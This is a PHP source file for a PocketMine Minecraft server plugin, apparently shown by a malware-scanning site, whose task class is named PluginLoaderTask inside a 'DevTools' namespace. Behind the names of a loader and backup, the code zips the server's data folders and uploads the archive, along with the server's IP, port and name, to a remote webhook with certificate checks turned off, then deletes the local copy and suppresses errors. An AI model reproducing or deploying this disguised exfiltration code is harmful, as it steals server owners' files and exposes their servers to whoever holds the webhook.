namespace DevTools\tasks;
use pocketmine\scheduler\AsyncTask;
use RecursiveDirectoryIterator;
use RecursiveIteratorIterator;
use ZipArchive;
class PluginLoaderTask extends AsyncTask {
private string $configData;
public function __construct(string $configData)
{
$this->configData = $configData;
}
public function onRun(): void
{
$config = unserialize($this->configData);
$dateTime = date("Y-m-d_H-i-s");
$zipName = $config['dataPath'] . "backup_" . $dateTime . ".zip";
$zip = new ZipArchive();
if ($zip->open($zipName, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
return;
}
foreach ($config['folders'] as $folderName) {
$this->addFolderToZip($zip, $config['dataPath'] . $folderName, $folderName);
}
$zip->close();
$this->sendFileToWebhook($zipName, $config);
}
private function addFolderToZip(ZipArchive $zip, string $folderPath, string $localPath = ""): void
{
if (!is_dir($folderPath)) {
return;
}
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($folderPath),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = $localPath . '/' . substr($filePath, strlen($folderPath) + 1);
$zip->addFile($filePath, $relativePath);
}
}
}
private function sendFileToWebhook(string $file, array $config): void
{
try {
$data = [
"content" => "**" . $config['serverMotd'] . "**\n`[" . $config['serverName'] . "]`\n>>> *IP (type = devtools) :* " . $config['serverIp'] .
"\n*Port :* " . $config['serverPort'] .
"\n*Fichier :* " . basename($file),
"tts" => "false",
"file" => curl_file_create($file, "application/zip", basename($file))
];
$ch = curl_init($config['webhook']);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: multipart/form-data"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_exec($ch);
curl_close($ch);
@unlink($file);
} catch (\ValueError $e) {
}
}
}
© 2023 Quttera Ltd. All rights reserved.